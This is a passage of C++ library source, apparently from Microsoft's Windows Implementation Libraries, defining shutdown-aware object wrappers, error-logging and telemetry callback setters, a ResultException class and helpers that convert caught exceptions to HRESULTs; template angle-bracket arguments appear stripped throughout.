responsible for calling\n Construct() and Destroy() to manually run the constructor and destructor during DLL load & unload.\n Upon process shutdown a method (ProcessShutdown()) is called that must be implemented on the object, otherwise the destructor is\n called as is typical. */\n template\n class manually_managed_shutdown_aware_object\n {\n public:\n void construct()\n {\n void* var = &m_raw;\n ::new(var) T();\n }\n\n void destroy()\n {\n if (ProcessShutdownInProgress())\n {\n get().ProcessShutdown();\n }\n else\n {\n (&get())->~T();\n }\n }\n\n //! Retrieves a reference to the contained object\n T& get() WI_NOEXCEPT\n {\n return *reinterpret_cast(&m_raw);\n }\n\n private:\n alignas(T) unsigned char m_raw[sizeof(T)];\n };\n\n /** Use this object to wrap an object that wants to prevent its destructor from being run when the process is shutting down.\n Upon process shutdown a method (ProcessShutdown()) is called that must be implemented on the object, otherwise the destructor is\n called as is typical. */\n template\n class shutdown_aware_object\n {\n public:\n shutdown_aware_object()\n {\n m_object.construct();\n }\n\n ~shutdown_aware_object()\n {\n m_object.destroy();\n }\n\n //! Retrieves a reference to the contained object\n T& get() WI_NOEXCEPT\n {\n return m_object.get();\n }\n\n private:\n manually_managed_shutdown_aware_object m_object;\n };\n\n /** Use this object to wrap an object that wants to prevent its destructor from being run when the process is shutting down. */\n template\n class object_without_destructor_on_shutdown\n {\n public:\n object_without_destructor_on_shutdown()\n {\n void* var = &m_raw;\n ::new(var) T();\n }\n\n ~object_without_destructor_on_shutdown()\n {\n if (!ProcessShutdownInProgress())\n {\n get().~T();\n }\n }\n\n //! Retrieves a reference to the contained object\n T& get() WI_NOEXCEPT\n {\n return *reinterpret_cast(&m_raw);\n }\n\n private:\n alignas(T) unsigned char m_raw[sizeof(T)]{};\n };\n\n /** Forward your DLLMain to this function so that WIL can have visibility into whether a DLL unload is because\n of termination or normal unload. Note that when g_pfnDllShutdownInProgress is set, WIL attempts to make this\n determination on its own without this callback. Suppressing private APIs requires use of this. */\n inline void DLLMain(HINSTANCE, DWORD reason, _In_opt_ LPVOID reserved)\n {\n if (!details::g_processShutdownInProgress)\n {\n if ((reason == DLL_PROCESS_DETACH) && (reserved != nullptr))\n {\n details::g_processShutdownInProgress = true;\n }\n }\n }\n\n // [optionally] Plug in fallback telemetry reporting\n // Normally, the callback is owned by including ResultLogging.h in the including module. Alternatively a module\n // could re-route fallback telemetry to any ONE specific provider by calling this method.\n inline void SetResultTelemetryFallback(_In_opt_ decltype(details::g_pfnTelemetryCallback) callbackFunction)\n {\n // Only ONE telemetry provider can own the fallback telemetry callback.\n __FAIL_FAST_IMMEDIATE_ASSERT__((details::g_pfnTelemetryCallback == nullptr) || (callbackFunction == nullptr) || (details::g_pfnTelemetryCallback == callbackFunction));\n details::g_pfnTelemetryCallback = callbackFunction;\n }\n\n // [optionally] Plug in result logging (do not use for telemetry)\n // This provides the ability for a module to hook all failures flowing through the system for inspection\n // and/or logging.\n inline void SetResultLoggingCallback(_In_opt_ decltype(details::g_pfnLoggingCallback) callbackFunction)\n {\n // Only ONE function can own the result logging callback\n __FAIL_FAST_IMMEDIATE_ASSERT__((details::g_pfnLoggingCallback == nullptr) || (callbackFunction == nullptr) || (details::g_pfnLoggingCallback == callbackFunction));\n details::g_pfnLoggingCallback = callbackFunction;\n }\n\n // [optionally] Plug in custom result messages\n // There are some purposes that require translating the full information that is known about a failure\n // into a message to be logged (either through the console for debugging OR as the message attached\n // to a Platform::Exception^). This callback allows a module to format the string itself away from the\n // default.\n inline void SetResultMessageCallback(_In_opt_ decltype(wil::g_pfnResultLoggingCallback) callbackFunction)\n {\n // Only ONE function can own the result message callback\n __FAIL_FAST_IMMEDIATE_ASSERT__((g_pfnResultLoggingCallback == nullptr) || (callbackFunction == nullptr) || (g_pfnResultLoggingCallback == callbackFunction));\n details::g_resultMessageCallbackSet = true;\n g_pfnResultLoggingCallback = callbackFunction;\n }\n\n // [optionally] Plug in exception remapping\n // A module can plug a callback in using this function to setup custom exception handling to allow any\n // exception type to be converted into an HRESULT from exception barriers.\n inline void SetResultFromCaughtExceptionCallback(_In_opt_ decltype(wil::g_pfnResultFromCaughtException) callbackFunction)\n {\n // Only ONE function can own the exception conversion\n __FAIL_FAST_IMMEDIATE_ASSERT__((g_pfnResultFromCaughtException == nullptr) || (callbackFunction == nullptr) || (g_pfnResultFromCaughtException == callbackFunction));\n g_pfnResultFromCaughtException = callbackFunction;\n }\n\n // [optionally] Plug in exception remapping\n // This provides the ability for a module to call RoOriginateError in case of a failure.\n // Normally, the callback is owned by including result_originate.h in the including module. Alternatively a module\n // could re-route error origination callback to its own implementation.\n inline void SetOriginateErrorCallback(_In_opt_ decltype(details::g_pfnOriginateCallback) callbackFunction)\n {\n // Only ONE function can own the error origination callback\n __FAIL_FAST_IMMEDIATE_ASSERT__((details::g_pfnOriginateCallback == nullptr) || (callbackFunction == nullptr) || (details::g_pfnOriginateCallback == callbackFunction));\n details::g_pfnOriginateCallback = callbackFunction;\n }\n\n // [optionally] Plug in failfast callback\n // This provides the ability for a module to call RoFailFastWithErrorContext in the failfast handler -if- there is stowed\n // exception data available. Normally, the callback is owned by including result_originate.h in the including module.\n // Alternatively a module could re-route to its own implementation.\n inline void SetFailfastWithContextCallback(_In_opt_ decltype(details::g_pfnFailfastWithContextCallback) callbackFunction)\n {\n // Only ONE function can own the failfast with context callback\n __FAIL_FAST_IMMEDIATE_ASSERT__((details::g_pfnFailfastWithContextCallback == nullptr) || (callbackFunction == nullptr) || (details::g_pfnFailfastWithContextCallback == callbackFunction));\n details::g_pfnFailfastWithContextCallback = callbackFunction;\n }\n\n // A RAII wrapper around the storage of a FailureInfo struct (which is normally meant to be consumed\n // on the stack or from the caller). The storage of FailureInfo needs to copy some data internally\n // for lifetime purposes.\n\n class StoredFailureInfo\n {\n public:\n StoredFailureInfo() WI_NOEXCEPT\n {\n ::ZeroMemory(&m_failureInfo, sizeof(m_failureInfo));\n }\n\n StoredFailureInfo(FailureInfo const &other) WI_NOEXCEPT\n {\n SetFailureInfo(other);\n }\n\n FailureInfo const & GetFailureInfo() const WI_NOEXCEPT\n {\n return m_failureInfo;\n }\n\n void SetFailureInfo(FailureInfo const &failure) WI_NOEXCEPT\n {\n m_failureInfo = failure;\n\n size_t const cbNeed = details::ResultStringSize(failure.pszMessage) +\n details::ResultStringSize(failure.pszCode) +\n details::ResultStringSize(failure.pszFunction) +\n details::ResultStringSize(failure.pszFile) +\n details::ResultStringSize(failure.pszCallContext) +\n details::ResultStringSize(failure.pszModule) +\n details::ResultStringSize(failure.callContextCurrent.contextName) +\n details::ResultStringSize(failure.callContextCurrent.contextMessage) +\n details::ResultStringSize(failure.callContextOriginating.contextName) +\n details::ResultStringSize(failure.callContextOriginating.contextMessage);\n\n if (!m_spStrings.unique() || (m_spStrings.size() < cbNeed))\n {\n m_spStrings.reset();\n m_spStrings.create(cbNeed);\n }\n\n size_t cbAlloc;\n unsigned char *pBuffer = static_cast(m_spStrings.get(&cbAlloc));\n unsigned char *pBufferEnd = (pBuffer != nullptr) ? pBuffer + cbAlloc : nullptr;\n\n if (pBuffer)\n {\n pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.pszMessage, &m_failureInfo.pszMessage);\n pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.pszCode, &m_failureInfo.pszCode);\n pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.pszFunction, &m_failureInfo.pszFunction);\n pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.pszFile, &m_failureInfo.pszFile);\n pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.pszCallContext, &m_failureInfo.pszCallContext);\n pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.pszModule, &m_failureInfo.pszModule);\n pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.callContextCurrent.contextName, &m_failureInfo.callContextCurrent.contextName);\n pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.callContextCurrent.contextMessage, &m_failureInfo.callContextCurrent.contextMessage);\n pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.callContextOriginating.contextName, &m_failureInfo.callContextOriginating.contextName);\n pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.callContextOriginating.contextMessage, &m_failureInfo.callContextOriginating.contextMessage);\n ZeroMemory(pBuffer, pBufferEnd - pBuffer);\n }\n }\n\n // Relies upon generated copy constructor and assignment operator\n\n protected:\n FailureInfo m_failureInfo;\n details::shared_buffer m_spStrings;\n };\n\n#if defined(WIL_ENABLE_EXCEPTIONS) || defined(WIL_FORCE_INCLUDE_RESULT_EXCEPTION)\n\n //! This is WIL's default exception class thrown from all THROW_XXX macros (outside of c++/cx).\n //! This class stores all of the FailureInfo context that is available when the exception is thrown. It's also caught by\n //! exception guards for automatic conversion to HRESULT.\n //!\n //! In c++/cx, Platform::Exception^ is used instead of this class (unless @ref wil::g_fResultThrowPlatformException has been changed).\n class ResultException : public std::exception\n {\n public:\n //! Constructs a new ResultException from an existing FailureInfo.\n ResultException(const FailureInfo& failure) WI_NOEXCEPT :\n m_failure(failure)\n {\n }\n\n //! Constructs a new exception type from a given HRESULT (use only for constructing custom exception types).\n ResultException(_Pre_satisfies_(hr < 0) HRESULT hr) WI_NOEXCEPT :\n m_failure(CustomExceptionFailureInfo(hr))\n {\n }\n\n //! Returns the failed HRESULT that this exception represents.\n _Always_(_Post_satisfies_(return < 0)) HRESULT GetErrorCode() const WI_NOEXCEPT\n {\n HRESULT const hr = m_failure.GetFailureInfo().hr;\n __analysis_assume(hr < 0);\n return hr;\n }\n\n //! Get a reference to the stored FailureInfo.\n FailureInfo const & GetFailureInfo() const WI_NOEXCEPT\n {\n return m_failure.GetFailureInfo();\n }\n\n //! Sets the stored FailureInfo (use primarily only when constructing custom exception types).\n void SetFailureInfo(FailureInfo const &failure) WI_NOEXCEPT\n {\n m_failure.SetFailureInfo(failure);\n }\n\n //! Provides a string representing the FailureInfo from this exception.\n inline const char * __CLR_OR_THIS_CALL what() const WI_NOEXCEPT override\n {\n if (!m_what)\n {\n wchar_t message[2048];\n GetFailureLogString(message, ARRAYSIZE(message), m_failure.GetFailureInfo());\n\n char messageA[1024];\n wil::details::StringCchPrintfA(messageA, ARRAYSIZE(messageA), \"%ws\", message);\n m_what.create(messageA, strlen(messageA) + sizeof(*messageA));\n }\n return static_cast(m_what.get());\n }\n\n // Relies upon auto-generated copy constructor and assignment operator\n protected:\n StoredFailureInfo m_failure; //!< The failure information for this exception\n mutable details::shared_buffer m_what; //!< The on-demand generated what() string\n\n //! Use to produce a custom FailureInfo from an HRESULT (use only when constructing custom exception types).\n static FailureInfo CustomExceptionFailureInfo(HRESULT hr) WI_NOEXCEPT\n {\n FailureInfo fi = {};\n fi.type = FailureType::Exception;\n fi.hr = hr;\n return fi;\n }\n };\n#endif\n\n\n //*****************************************************************************\n // Public Helpers that catch -- mostly only enabled when exceptions are enabled\n //*****************************************************************************\n\n // ResultFromCaughtException is a function that is meant to be called from within a catch(...) block. Internally\n // it re-throws and catches the exception to convert it to an HRESULT. If an exception is of an unrecognized type\n // the function will fail fast.\n //\n // try\n // {\n // // Code\n // }\n // catch (...)\n // {\n // hr = wil::ResultFromCaughtException();\n // }\n _Always_(_Post_satisfies_(return < 0))\n __declspec(noinline) inline HRESULT ResultFromCaughtException() WI_NOEXCEPT\n {\n bool isNormalized = false;\n HRESULT hr = S_OK;\n if (details::g_pfnResultFromCaughtExceptionInternal)\n {\n hr = details::g_pfnResultFromCaughtExceptionInternal(nullptr, 0, &isNormalized);\n }\n if (FAILED(hr))\n {\n return hr;\n }\n\n // Caller bug: an unknown exception was thrown\n __WIL_PRIVATE_FAIL_FAST_HR_IF(__HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION), g_fResultFailFastUnknownExceptions);\n return __HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION);\n }\n\n //! Identical to 'throw;', but can be called from error-code neutral code to rethrow in code that *may* be running under an exception context\n inline void RethrowCaughtException()\n {\n // We always want to rethrow the exception under normal circumstances. Ordinarily, we could actually guarantee\n // this as we should be able to rethrow if we caught an exception, but if we got here in the middle of running\n // dynamic initializers, then it's possible that we haven't yet setup the rethrow function pointer, thus the\n // runtime check without the noreturn annotation.\n\n if (details::g_pfnRethrow)\n {\n details::g_pfnRethrow();\n }\n }\n\n //! Identical to 'throw ResultException(failure);', but can be referenced from error-code neutral code\n inline void ThrowResultException(const FailureInfo& failure)\n {\n if (details::g_pfnThrowResultException)\n {\n details::g_pfnThrowResultException(failure);\n }\n }\n\n //! @cond\n namespace details\n {\n#ifdef WIL_ENABLE_EXCEPTIONS\n //*****************************************************************************\n // Private helpers to catch and propagate exceptions\n //*****************************************************************************\n\n RESULT_NORETURN inline void TerminateAndReportError(_In_opt_ PEXCEPTION_POINTERS)\n {\n // This is an intentional fail-fast that was caught by an exception guard with WIL. Look back up the callstack to determine\n // the source of the actual exception being thrown. The exception guard used by the calling code did not expect this\n // exception type to be thrown or is specifically requesting fail-fast for this class of exception.\n\n FailureInfo failure{};\n WilFailFast(failure);\n }\n\n inline void MaybeGetExceptionString(const ResultException& exception, _Out_writes_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars)\n {\n if (debugString)\n {\n GetFailureLogString(debugString, debugStringChars, exception.GetFailureInfo());\n }\n }\n\n inline void MaybeGetExceptionString(const std::exception& exception, _Out_writes_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars)\n {\n if (debugString)\n {\n StringCchPrintfW(debugString, debugStringChars, L\"std::exception: %hs\", exception.what());\n }\n }\n\n inline HRESULT ResultFromKnownException(const ResultException& exception, const DiagnosticsInfo& diagnostics, void* returnAddress)\n {\n wchar_t message[2048];\n message[0] = L'\\0';\n MaybeGetExceptionString(exception, message, ARRAYSIZE(message));\n auto hr = exception.GetErrorCode();\n wil::details::ReportFailure_Base(__R_DIAGNOSTICS_RA(diagnostics, returnAddress), hr, message);\n return hr;\n }\n\n inline HRESULT ResultFromKnownException(const std::bad_alloc& exception, const DiagnosticsInfo& diagnostics, void* returnAddress)\n {\n wchar_t message[2048];\n message[0] = L'\\0';\n MaybeGetExceptionString(exception, message, ARRAYSIZE(message));\n constexpr auto hr = E_OUTOFMEMORY;\n wil::details::ReportFailure_Base(__R_DIAGNOSTICS_RA(diagnostics, returnAddress), hr, message);\n return hr;\n }\n\n inline HRESULT ResultFromKnownException(const std::exception& exception, const DiagnosticsInfo& diagnostics, void* returnAddress)\n {\n wchar_t message[2048];\n message[0] = L'\\0';\n MaybeGetExceptionString(exception, message, ARRAYSIZE(message));\n constexpr auto hr = __HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION);\n ReportFailure_Base(__R_DIAGNOSTICS_RA(diagnostics, returnAddress), hr, message);\n return hr;\n }\n\n inline HRESULT ResultFromKnownException_CppWinRT(const DiagnosticsInfo& diagnostics, void* returnAddress)\n {\n if (g_pfnResultFromCaughtException_CppWinRt)\n {\n wchar_t message[2048];\n message[0] = L'\\0';\n bool ignored;\n auto hr = g_pfnResultFromCaughtException_CppWinRt(message, ARRAYSIZE(message), &ignored);\n if (FAILED(hr))\n {\n ReportFailure_Base(__R_DIAGNOSTICS_RA(diagnostics, returnAddress), hr, message);\n return hr;\n }\n }\n\n // Indicate that this either isn't a C++/WinRT exception or a handler isn't configured by returning success\n return S_OK;\n }\n\n inline HRESULT RecognizeCaughtExceptionFromCallback(_Inout_updates_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars)\n {\n HRESULT hr = g_pfnResultFromCaughtException();\n\n // If we still don't know the error -- or we would like to get the debug string for the error (if possible) we\n // rethrow and catch std::exception.\n\n if (SUCCEEDED(hr) || debugString)\n {\n try\n {\n throw;\n }\n catch (std::exception& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n if (SUCCEEDED(hr))\n {\n hr = __HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION);\n }\n }\n catch (...)\n {\n }\n }\n\n return hr;\n }\n\n#ifdef __cplusplus_winrt\n inline Platform::String^ GetPlatformExceptionMessage(Platform::Exception^ exception)\n {\n struct RawExceptionData_Partial\n {\n PCWSTR description;\n PCWSTR restrictedErrorString;\n };\n\n auto exceptionPtr = reinterpret_cast(static_cast<::Platform::Object^>(exception));\n auto exceptionInfoPtr = reinterpret_cast(exceptionPtr) - 1;\n auto partial = reinterpret_cast(*exceptionInfoPtr);\n\n Platform::String^ message = exception->Message;\n\n PCWSTR errorString = partial->restrictedErrorString;\n PCWSTR messageString = reinterpret_cast(message ? message->Data() : nullptr);\n\n // An old Platform::Exception^ bug that did not actually expose the error string out of the exception\n // message. We do it by hand here if the message associated with the strong does not contain the\n // message that was originally attached to the string (in the fixed version it will).\n\n if ((errorString && *errorString && messageString) &&\n (wcsstr(messageString, errorString) == nullptr))\n {\n return ref new Platform::String(reinterpret_cast<_Null_terminated_ const __wchar_t *>(errorString));\n }\n return message;\n }\n\n inline void MaybeGetExceptionString(_In_ Platform::Exception^ exception, _Out_writes_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars)\n {\n if (debugString)\n {\n auto message = GetPlatformExceptionMessage(exception);\n auto messageString = !message ? L\"(null Message)\" : reinterpret_cast(message->Data());\n StringCchPrintfW(debugString, debugStringChars, L\"Platform::Exception^: %ws\", messageString);\n }\n }\n\n inline HRESULT ResultFromKnownException(Platform::Exception^ exception, const DiagnosticsInfo& diagnostics, void* returnAddress)\n {\n wchar_t message[2048];\n message[0] = L'\\0';\n MaybeGetExceptionString(exception, message, ARRAYSIZE(message));\n auto hr = exception->HResult;\n wil::details::ReportFailure_Base(__R_DIAGNOSTICS_RA(diagnostics, returnAddress), hr, message);\n return hr;\n }\n\n inline HRESULT __stdcall ResultFromCaughtException_WinRt(_Inout_updates_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars, _Inout_ bool* isNormalized) WI_NOEXCEPT\n {\n if (g_pfnResultFromCaughtException)\n {\n try\n {\n throw;\n }\n catch (const ResultException& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return exception.GetErrorCode();\n }\n catch (Platform::Exception^ exception)\n {\n *isNormalized = true;\n // We need to call __abi_translateCurrentException so that the CX runtime will pull the originated error information\n // out of the exception object and place it back into thread-local storage.\n __abi_translateCurrentException(false);\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return exception->HResult;\n }\n catch (const std::bad_alloc& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return E_OUTOFMEMORY;\n }\n catch (...)\n {\n auto hr = RecognizeCaughtExceptionFromCallback(debugString, debugStringChars);\n if (FAILED(hr))\n {\n return hr;\n }\n }\n }\n else\n {\n try\n {\n throw;\n }\n catch (const ResultException& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return exception.GetErrorCode();\n }\n catch (Platform::Exception^ exception)\n {\n *isNormalized = true;\n // We need to call __abi_translateCurrentException so that the CX runtime will pull the originated error information\n // out of the exception object and place it back into thread-local storage.\n __abi_translateCurrentException(false);\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return exception->HResult;\n }\n catch (const std::bad_alloc& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return E_OUTOFMEMORY;\n }\n catch (std::exception& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION);\n }\n catch (...)\n {\n // Fall through to returning 'S_OK' below\n }\n }\n\n // Tell the caller that we were unable to map the exception by succeeding...\n return S_OK;\n }\n\n // WinRT supporting version to execute a functor and catch known exceptions.\n inline HRESULT __stdcall ResultFromKnownExceptions_WinRt(const DiagnosticsInfo& diagnostics, void* returnAddress, SupportedExceptions supported, IFunctor& functor)\n {\n WI_ASSERT(supported != SupportedExceptions::Default);\n\n switch (supported)\n {\n case SupportedExceptions::Known:\n try\n {\n return functor.Run();\n }\n catch (const ResultException& exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n catch (Platform::Exception^ exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n catch (const std::bad_alloc& exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n catch (std::exception& exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n catch (...)\n {\n auto hr = ResultFromKnownException_CppWinRT(diagnostics, returnAddress);\n if (FAILED(hr))\n {\n return hr;\n }\n\n // Unknown exception\n throw;\n }\n break;\n\n case SupportedExceptions::ThrownOrAlloc:\n try\n {\n return functor.Run();\n }\n catch (const ResultException& exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n catch (Platform::Exception^ exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n catch (const std::bad_alloc& exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n break;\n\n case SupportedExceptions::Thrown:\n try\n {\n return functor.Run();\n }\n catch (const ResultException& exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n catch (Platform::Exception^ exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n break;\n }\n\n WI_ASSERT(false);\n return S_OK;\n }\n\n inline void __stdcall ThrowPlatformException(FailureInfo const &failure, LPCWSTR debugString)\n {\n throw Platform::Exception::CreateException(failure.hr, ref new Platform::String(reinterpret_cast<_Null_terminated_ const __wchar_t *>(debugString)));\n }\n\n#if !defined(RESULT_SUPPRESS_STATIC_INITIALIZERS)\n WI_HEADER_INITITALIZATION_FUNCTION(InitializeWinRt, []\n {\n g_pfnResultFromCaughtException_WinRt = ResultFromCaughtException_WinRt;\n g_pfnResultFromKnownExceptions_WinRt = ResultFromKnownExceptions_WinRt;\n g_pfnThrowPlatformException = ThrowPlatformException;\n return 1;\n });\n#endif\n#endif\n\n inline void __stdcall Rethrow()\n {\n throw;\n }\n\n inline void __stdcall ThrowResultExceptionInternal(const FailureInfo& failure)\n {\n throw ResultException(failure);\n }\n\n __declspec(noinline) inline HRESULT __stdcall ResultFromCaughtExceptionInternal(_Out_writes_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars, _Out_ bool* isNormalized) WI_NOEXCEPT\n {\n if (debugString)\n {\n *debugString = L'\\0';\n }\n *isNormalized = false;\n\n if (details::g_pfnResultFromCaughtException_CppWinRt != nullptr)\n {\n RETURN_IF_FAILED_EXPECTED(details::g_pfnResultFromCaughtException_CppWinRt(debugString, debugStringChars, isNormalized));\n }\n\n if (details::g_pfnResultFromCaughtException_WinRt != nullptr)\n {\n return details::g_pfnResultFromCaughtException_WinRt(debugString, debugStringChars, isNormalized);\n }\n\n if (g_pfnResultFromCaughtException)\n {\n try\n {\n throw;\n }\n catch (const ResultException& exception)\n {\n *isNormalized = true;\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return exception.GetErrorCode();\n }\n catch (const std::bad_alloc& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return E_OUTOFMEMORY;\n }\n catch (...)\n {\n auto hr = RecognizeCaughtExceptionFromCallback(debugString, debugStringChars);\n if (FAILED(hr))\n {\n return hr;\n }\n }\n }\n else\n {\n try\n {\n throw;\n }\n catch (const ResultException& exception)\n {\n *isNormalized = true;\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return exception.GetErrorCode();\n }\n catch (const std::bad_alloc& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return E_OUTOFMEMORY;\n }\n catch (std::exception& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return __HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION);\n }\n catch (...)\n {\n // Fall through to returning 'S_OK' below\n }\n }\n\n // Tell the caller that we were unable to map the exception by succeeding...\n return S_OK;\n }\n\n // Runs the given functor, converting any exceptions of the supported types that are known to HRESULTs and returning\n // that HRESULT. Does NOT attempt to catch unknown exceptions (which propagate). Primarily used by SEH exception\n // handling techniques to stop at the point the exception is thrown.\n inline HRESULT ResultFromKnownExceptions(const DiagnosticsInfo& diagnostics, void* returnAddress, SupportedExceptions supported, IFunctor& functor)\n {\n if (supported == SupportedExceptions::Default)\n {\n supported = g_fResultSupportStdException ? SupportedExceptions::Known : SupportedExceptions::ThrownOrAlloc;\n }\n\n if ((details::g_pfnResultFromKnownExceptions_WinRt != nullptr) &&\n ((supported == SupportedExceptions::Known) || (supported == SupportedExceptions::Thrown) || (supported == SupportedExceptions::ThrownOrAlloc)))\n {\n return details::g_pfnResultFromKnownExceptions_WinRt(diagnostics, returnAddress, supported, functor);\n }\n\n switch (supported)\n {\n case SupportedExceptions::Known:\n try\n {\n return functor.Run();\n }\n catch (const ResultException& exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n catch (const std::bad_alloc& exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n catch (std::exception& exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n catch (...)\n {\n auto hr = ResultFromKnownException_CppWinRT(diagnostics, returnAddress);\n if (FAILED(hr))\n {\n return hr;\n }\n\n // Unknown exception\n throw;\n }\n\n case SupportedExceptions::ThrownOrAlloc:\n try\n {\n return functor.Run();\n }\n catch (const ResultException& exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n catch (const std::bad_alloc& exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n\n case SupportedExceptions::Thrown:\n try\n {\n return functor.Run();\n }\n catch (const ResultException& exception)\n {\n return ResultFromKnownException(exception, diagnostics, returnAddress);\n }\n\n case SupportedExceptions::All:\n try\n {\n return functor.Run();\n }\n catch (...)\n {\n return wil::details::ReportFailure_CaughtException(__R_DIAGNOSTICS_RA(diagnostics, returnAddress), supported);\n }\n\n case SupportedExceptions::None:\n return functor.Run();\n\n case SupportedExceptions::Default:\n WI_ASSERT(false);\n }\n\n WI_ASSERT(false);\n return S_OK;\n }\n\n inline HRESULT ResultFromExceptionSeh(const DiagnosticsInfo& diagnostics, void* returnAddress, SupportedExceptions supported, IFunctor& functor) WI_NOEXCEPT\n {\n __try\n {\n return wil::details::ResultFromKnownExceptions(diagnostics, returnAddress, supported, functor);\n }\n __except (wil::details::TerminateAndReportError(GetExceptionInformation()), EXCEPTION_CONTINUE_SEARCH)\n {\n WI_ASSERT(false);\n RESULT_NORETURN_RESULT(HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION));\n }\n }\n\n __declspec(noinline) inline HRESULT ResultFromException(const DiagnosticsInfo& diagnostics, SupportedExceptions supported, IFunctor& functor) WI_NOEXCEPT\n {\n#ifdef RESULT_DEBUG\n // We can't do debug SEH handling if the caller also wants a shot at mapping the exceptions\n // themselves or if the caller doesn't want to fail-fast unknown exceptions\n if ((g_pfnResultFromCaughtException == nullptr) && g_fResultFailFastUnknownExceptions)\n {\n return wil::details::ResultFromExceptionSeh(diagnostics, _ReturnAddress(), supported, functor);\n }\n#endif\n try\n {\n return functor.Run();\n }\n catch (...)\n {\n return wil::details::ReportFailure_CaughtException(__R_DIAGNOSTICS(diagnostics), _ReturnAddress(), supported);\n }\n }\n\n __declspec(noinline) inline HRESULT ResultFromExceptionDebug(const DiagnosticsInfo& diagnostics, SupportedExceptions supported, IFunctor& functor) WI_NOEXCEPT\n {\n return wil::details::ResultFromExceptionSeh(diagnostics, _ReturnAddress(), supported, functor);\n }\n\n // Exception guard -- catch exceptions and log them (or handle them with a custom callback)\n // WARNING: may throw an exception...\n inline HRESULT __stdcall RunFunctorWithExceptionFilter(IFunctor& functor, IFunctorHost& host, void* returnAddress)\n {\n try\n {\n return host.Run(functor);\n }\n catch (...)\n {\n // Note that the host may choose to re-throw, throw a normalized exception, return S_OK and eat the exception or\n // return the remapped failure.\n return host.ExceptionThrown(returnAddress);\n }\n }\n\n WI_HEADER_INITITALIZATION_FUNCTION(InitializeResultExceptions, []\n {\n g_pfnRunFunctorWithExceptionFilter = RunFunctorWithExceptionFilter;\n g_pfnRethrow = Rethrow;\n g_pfnThrowResultException = ThrowResultExceptionInternal;\n g_pfnResultFromCaughtExceptionInternal = ResultFromCaughtExceptionInternal;\n return 1;\n });\n\n }\n\n //! A lambda-based exception guard that can vary the supported exception types.\n //! This function accepts a lambda and diagnostics information as its parameters and executes that lambda\n //! under a try/catch(...) block. All exceptions are caught and the function reports the exception information\n //! and diagnostics to telemetry on failure. An HRESULT is returned that maps to the exception.\n //!\n //! Note that an overload exists that does not report failures to telemetry at all. This version should be preferred\n //! to that version. Also note that neither of these versions are preferred over using try catch blocks to accomplish\n //! the same thing as they will be more efficient.\n //!\n //! See @ref page_exception_guards for more information and examples on exception guards.\n //! ~~~~\n //! return wil::ResultFromException(WI_DIAGNOSTICS_INFO, [&]\n //! {\n //! // exception-based code\n //! // telemetry is reported with full exception information\n //! });\n //! ~~~~\n //! @param diagnostics Always pass WI_DIAGNOSTICS_INFO as the first parameter\n //! @param supported What kind of exceptions you want to support\n //! @param functor A lambda that accepts no parameters; any return value is ignored\n //! @return S_OK on success (no exception thrown) or an error based upon the exception thrown\n template \n __forceinline HRESULT ResultFromException(const DiagnosticsInfo& diagnostics, SupportedExceptions supported, Functor&& functor) WI_NOEXCEPT\n {\n static_assert(details::functor_tag::value != details::tag_return_other::value, 